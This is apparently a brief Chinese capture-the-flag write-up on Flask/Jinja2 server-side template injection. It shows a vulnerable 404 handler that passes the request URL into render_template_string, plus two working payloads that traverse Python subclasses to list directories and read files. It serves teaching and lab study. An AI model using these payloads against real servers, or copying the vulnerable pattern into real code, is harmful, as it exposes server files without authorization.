web_python_template_injection
這里涉及到flask的ssti漏洞(服務端模板注入)。
簡單點說就是,在使用flask/jinja2的模板渲染函數render_template_string
的同時,使用%s
來替換字符串的時候,會把字符串中被{{}}
包圍內容當作變量解析。
例如:
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
<div class="center-content error">
<h1>%s Not Found!</h1>
</div>
''' % (request.url)
return render_template_string(template), 404
if __name__ == '__main__':
app.run()
請求:xxxxxxx.xxx/{{ 10*10 }}
響應:xxxxxx.xxx/{{100}} Not Found!
這道題只用了下邊倆方法:
-
查看文件(ls)
{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}
這里的./
是路徑 -
文件讀取:
{{''.__class__.__mro__[-1].__subclasses__()[40]('filename').read()}}
這里的filename
是文件名
貼一個師傅的使用方法總結
立個flag,這段學習期過了,回頭來總結一下ssti的利用方法
flag兌現,ssti簡單總結